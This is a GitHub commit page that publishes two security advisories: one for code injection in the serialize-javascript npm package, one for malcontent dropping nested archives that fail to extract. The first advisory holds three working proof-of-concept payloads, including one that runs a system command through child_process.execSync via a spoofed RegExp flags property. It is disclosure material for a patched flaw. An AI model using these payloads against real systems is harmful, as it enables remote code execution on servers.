Skip to content

Commit b335737

Browse files
advisory-database[bot]advisory-database[bot]
committed
Publish Advisories
GHSA-5c6j-r48x-rmvq GHSA-945p-3jhm-6rcp
1 parent 07236dc commit b335737

2 files changed

Lines changed: 143 additions & 0 deletions

File tree

‎advisories/github-reviewed/2026/02/GHSA-5c6j-r48x-rmvq/GHSA-5c6j-r48x-rmvq.json‎

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-5c6j-r48x-rmvq",
4+
"modified": "2026-02-28T02:50:45Z",
5+
"published": "2026-02-28T02:50:45Z",
6+
"aliases": [],
7+
"summary": "Serialize JavaScript is Vulnerable to RCE via RegExp.flags and Date.prototype.toISOString()",
8+
"details": "### Impact\n\nThe serialize-javascript npm package (versions <= 7.0.2) contains a code injection vulnerability. It is an incomplete fix for CVE-2020-7660.\n\nWhile `RegExp.source` is sanitized, `RegExp.flags` is interpolated directly into the generated output without escaping. A similar issue exists in `Date.prototype.toISOString()`.\n\nIf an attacker can control the input object passed to `serialize()`, they can inject malicious JavaScript via the flags property of a RegExp object. When the serialized string is later evaluated (via `eval`, `new Function`, or `<script>` tags), the injected code executes.\n\n```\njavascript\nconst serialize = require('serialize-javascript');\n// Create an object that passes instanceof RegExp with a spoofed .flags\nconst fakeRegex = Object.create(RegExp.prototype);\nObject.defineProperty(fakeRegex, 'source', { get: () => 'x' });\nObject.defineProperty(fakeRegex, 'flags', {\n get: () => '\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"'\n});\nfakeRegex.toJSON = function() { return '@placeholder'; };\nconst output = serialize({ re: fakeRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+(global.PWNED=\"CODE_INJECTION_VIA_FLAGS\")+\"\")}\nlet obj;\neval('obj = ' + output);\nconsole.log(global.PWNED); // \"CODE_INJECTION_VIA_FLAGS\" — injected code executed!\n#h2. PoC 2: Code Injection via Date.toISOString()\n```\n\n```\njavascript\nconst serialize = require('serialize-javascript');\nconst fakeDate = Object.create(Date.prototype);\nfakeDate.toISOString = function() { return '\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"'; };\nfakeDate.toJSON = function() { return '2024-01-01'; };\nconst output = serialize({ d: fakeDate });\n// Output: {\"d\":new Date(\"\"+(global.DATE_PWNED=\"DATE_INJECTION\")+\"\")}\neval('obj = ' + output);\nconsole.log(global.DATE_PWNED); // \"DATE_INJECTION\" — injected code executed!\n#h2. PoC 3: Remote Code Execution\n```\n\n```\njavascript\nconst serialize = require('serialize-javascript');\nconst rceRegex = Object.create(RegExp.prototype);\nObject.defineProperty(rceRegex, 'source', { get: () => 'x' });\nObject.defineProperty(rceRegex, 'flags', {\n get: () => '\"+require(\"child_process\").execSync(\"id\").toString()+\"'\n});\nrceRegex.toJSON = function() { return '@rce'; };\nconst output = serialize({ re: rceRegex });\n// Output: {\"re\":new RegExp(\"x\", \"\"+require(\"child_process\").execSync(\"id\").toString()+\"\")}\n// When eval'd on a Node.js server, executes the \"id\" system command\n```\n\n### Patches\n\nThe fix has been published in version 7.0.3. https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3",
9+
"severity": [
10+
{
11+
"type": "CVSS_V3",
12+
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H"
13+
}
14+
],
15+
"affected": [
16+
{
17+
"package": {
18+
"ecosystem": "npm",
19+
"name": "serialize-javascript"
20+
},
21+
"ranges": [
22+
{
23+
"type": "ECOSYSTEM",
24+
"events": [
25+
{
26+
"introduced": "0"
27+
},
28+
{
29+
"fixed": "7.0.3"
30+
}
31+
]
32+
}
33+
],
34+
"database_specific": {
35+
"last_known_affected_version_range": "<= 7.0.2"
36+
}
37+
}
38+
],
39+
"references": [
40+
{
41+
"type": "WEB",
42+
"url": "https://github.com/yahoo/serialize-javascript/security/advisories/GHSA-5c6j-r48x-rmvq"
43+
},
44+
{
45+
"type": "ADVISORY",
46+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2020-7660"
47+
},
48+
{
49+
"type": "WEB",
50+
"url": "https://github.com/yahoo/serialize-javascript/commit/2e609d0a9f4f5b097f0945af88bd45b9c7fb48d9"
51+
},
52+
{
53+
"type": "ADVISORY",
54+
"url": "https://github.com/advisories/GHSA-hxcc-f52p-wc94"
55+
},
56+
{
57+
"type": "PACKAGE",
58+
"url": "https://github.com/yahoo/serialize-javascript"
59+
},
60+
{
61+
"type": "WEB",
62+
"url": "https://github.com/yahoo/serialize-javascript/releases/tag/v7.0.3"
63+
}
64+
],
65+
"database_specific": {
66+
"cwe_ids": [
67+
"CWE-96"
68+
],
69+
"severity": "HIGH",
70+
"github_reviewed": true,
71+
"github_reviewed_at": "2026-02-28T02:50:45Z",
72+
"nvd_published_at": null
73+
}
74+
}

‎advisories/github-reviewed/2026/02/GHSA-945p-3jhm-6rcp/GHSA-945p-3jhm-6rcp.json‎

Lines changed: 69 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,69 @@
1+
{
2+
"schema_version": "1.4.0",
3+
"id": "GHSA-945p-3jhm-6rcp",
4+
"modified": "2026-02-28T02:50:09Z",
5+
"published": "2026-02-28T02:50:09Z",
6+
"aliases": [
7+
"CVE-2026-28407"
8+
],
9+
"summary": "malcontent: Nested archive extraction failure can drop content from scan inputs",
10+
"details": "Previously, malcontent would remove nested archives which failed to extract which could potentially leave malicious content. A better approach is to preserve these archives so that malcontent can attempt a best-effort scan of the archive bytes.\n\n**Fix**: https://github.com/chainguard-dev/malcontent/pull/1383\n\n**Acknowledgements**\n\nmalcontent thanks Oleh Konko from [1seal](https://1seal.org/) for discovering and reporting this issue.",
11+
"severity": [
12+
{
13+
"type": "CVSS_V4",
14+
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N"
15+
}
16+
],
17+
"affected": [
18+
{
19+
"package": {
20+
"ecosystem": "Go",
21+
"name": "github.com/chainguard-dev/malcontent"
22+
},
23+
"ranges": [
24+
{
25+
"type": "ECOSYSTEM",
26+
"events": [
27+
{
28+
"introduced": "0"
29+
},
30+
{
31+
"fixed": "1.21.0"
32+
}
33+
]
34+
}
35+
]
36+
}
37+
],
38+
"references": [
39+
{
40+
"type": "WEB",
41+
"url": "https://github.com/chainguard-dev/malcontent/security/advisories/GHSA-945p-3jhm-6rcp"
42+
},
43+
{
44+
"type": "ADVISORY",
45+
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-28407"
46+
},
47+
{
48+
"type": "WEB",
49+
"url": "https://github.com/chainguard-dev/malcontent/pull/1383"
50+
},
51+
{
52+
"type": "WEB",
53+
"url": "https://github.com/chainguard-dev/malcontent/commit/356c56659ccfcad0b249a97de8cf71f151ed3ee9"
54+
},
55+
{
56+
"type": "PACKAGE",
57+
"url": "https://github.com/chainguard-dev/malcontent"
58+
}
59+
],
60+
"database_specific": {
61+
"cwe_ids": [
62+
"CWE-703"
63+
],
64+
"severity": "MODERATE",
65+
"github_reviewed": true,
66+
"github_reviewed_at": "2026-02-28T02:50:09Z",
67+
"nvd_published_at": "2026-02-27T22:16:23Z"
68+
}
69+
}

0 commit comments

Comments
 (0)